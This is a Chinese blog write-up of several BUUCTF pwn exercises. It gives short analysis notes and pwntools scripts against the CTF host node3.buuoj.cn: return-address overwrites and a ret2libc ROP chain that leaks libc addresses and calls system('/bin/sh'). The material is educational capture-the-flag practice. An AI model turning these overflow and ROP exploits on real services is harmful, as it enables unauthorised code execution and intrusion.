标签:linu src symbol inpu nod from opened plain 需要
pwn难啊
测试你nc,不用说,连上就有。
ida中已经包含了system函数:
溢出,覆盖rip为fun函数,peda计算偏移为23:
from pwn import * #context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1) p = remote(‘node3.buuoj.cn‘,27146) #p = process(‘./pwn1‘) flag_addr = 0x401186 payload = 0xf*‘a‘ +‘a‘*8 + p64(flag_addr) #print p.recv() p.sendline(payload) p.interactive()
ida中,可以看到,存在溢出
使用peda计算偏移为72
from pwn import * #context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1) p = remote(‘node3.buuoj.cn‘,29050) #p = process(‘./warmup_csaw_2016‘) catflag_addr = 0x40060d payload = ‘A‘*72 + p64(catflag_addr) #print p.recv() p.sendline(payload) p.interactive()
先check一下文件
文件开启了NX。使用ida查看:
程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”
在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。
输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’
from pwn import * #context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1) p = remote(‘node3.buuoj.cn‘,29641) #p = process(‘./pwn1_sctf_2016‘) #p = remote(‘xxxxx‘,xxxx) catflag_addr = 0x8048f0d payload = 21*‘I‘ +‘A‘+ p32(catflag_addr) #print p.recvuntil(‘yourself:‘) p.sendline(payload) p.interactive()
先check一下,开启了Nx和Relro
ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP
在encrypt()函数中发现gets函数,这个是一个溢出点
可以通过溢出puts函数,泄露出gets函数中的地址,寻找偏移,构造ROP链执行system(‘/bin/sh’)
先cp一份libc文件:
偏移为:0x50+8
#coding=utf-8 from pwn import * from LibcSearcher import LibcSearcher libc = ELF(‘libc.so.6‘) elf = ELF(‘ciscn_2019_c_1‘) p = remote(‘node3.buuoj.cn‘,28143) context.log_level = ‘debug‘ #p=process(‘./ciscn_2019_c_1‘) def send(content): p.recvuntil(‘Input your choice!\n‘) p.sendline(‘1‘) p.recvuntil(‘Input your Plaintext to be encrypted\n‘) p.sendline(content) plt_puts = elf.plt[‘puts‘] got_puts = elf.got[‘gets‘] main = elf.symbols[‘main‘] pop_rdi_ret = 0x400c83 payload = ‘A‘ * 0x58 + p64(pop_rdi_ret)+p64(got_puts) + p64(plt_puts) + p64(main) send(payload) print p.recv() p.recvuntil(‘@\n‘) puts_addr=u64(p.recvline()[:-1].ljust(8,‘\x00‘)) libcbase = puts_addr -libc.sym[‘puts‘] log.success(‘libcbase:‘+ hex(libcbase)) system_addr = libcbase + libc.sym[‘system‘] binsh_addr = libcbase + 0x1afb84 payload = ‘A‘*0x58 + p64(pop_rdi_ret) + p64(binsh_addr)+ p64(system_addr) send(payload) p.interactive()
先check一下,开启了NX和RELRO
查看字符串,能看到,或许是和flag相关
可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag
通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c
from pwn import * #context.update(arch = ‘i386‘, os = ‘linux‘, timeout = 1) p = remote(‘node3.buuoj.cn‘,26929) #p = (‘./ciscn_2019_n_1‘) v2_addr = 0x41348000 payload = 0x2c*‘a‘ + p64(v2_addr) print p.recv() p.sendline(payload) p.interactive()
同上5
标签:linu src symbol inpu nod from opened plain 需要
原文地址:https://www.cnblogs.com/yidianhan/p/12002786.html